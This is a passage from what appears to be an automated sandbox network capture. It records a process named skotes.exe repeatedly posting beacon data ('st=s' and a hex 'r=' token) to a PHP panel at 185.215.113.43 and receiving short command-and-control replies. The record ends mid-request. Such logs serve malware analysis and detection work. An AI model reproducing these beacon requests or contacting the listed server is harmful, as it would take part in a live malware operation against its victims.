Nov 24, 2024 10:26:31.226613998 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:32.630836964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50238	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:34.369041920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:35.806266069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50239	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:37.445600033 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:38.780692101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50240	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:40.525307894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:41.909260035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50250	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:43.544300079 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:44.993163109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50252	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:46.748610973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:48.184266090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50253	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:49.828382015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:51.231409073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50254	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:52.985312939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:54.317115068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50256	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:55.944689035 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:57.292920113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50257	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:59.043806076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:00.424209118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50259	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:03.694845915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:08.090692997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50260	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:09.731297016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:11.114792109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50264	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:12.851066113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:14.228610992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	50265	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:15.871304989 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:17.320949078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	50266	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:19.071228027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:20.503084898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50267	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:22.130633116 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:23.564121962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50268	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:25.310564995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:26.688357115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50269	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:28.326625109 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:29.719388008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50270	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:31.463906050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:32.820600986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50271	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:34.465221882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:35.941871881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50273	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:37.679780960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:39.011496067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50274	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:40.636423111 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:27:42.079042912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50275	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:43.814608097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:27:45.240866899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50276	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:27:46.876610994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 